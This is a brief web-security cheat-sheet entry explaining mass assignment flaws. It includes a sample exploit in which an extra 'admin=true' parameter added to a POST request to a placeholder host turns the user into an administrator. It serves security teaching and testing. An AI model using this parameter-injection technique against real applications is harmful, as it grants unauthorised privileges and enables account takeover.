Mass Assignment Attack
Introduction
Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS
How to exploit
- Normal request
POST /editdata HTTP/1.1
Host: target.com
...
username=daffa
The response
HTTP/1.1 200 OK
...
{"status":"success","username":"daffainfo","isAdmin":"false"}
- Modified Request
POST /editdata HTTP/1.1
Host: target.com
...
username=daffa&admin=true
HTTP/1.1 200 OK
...
{"status":"success","username":"daffainfo","isAdmin":"true"}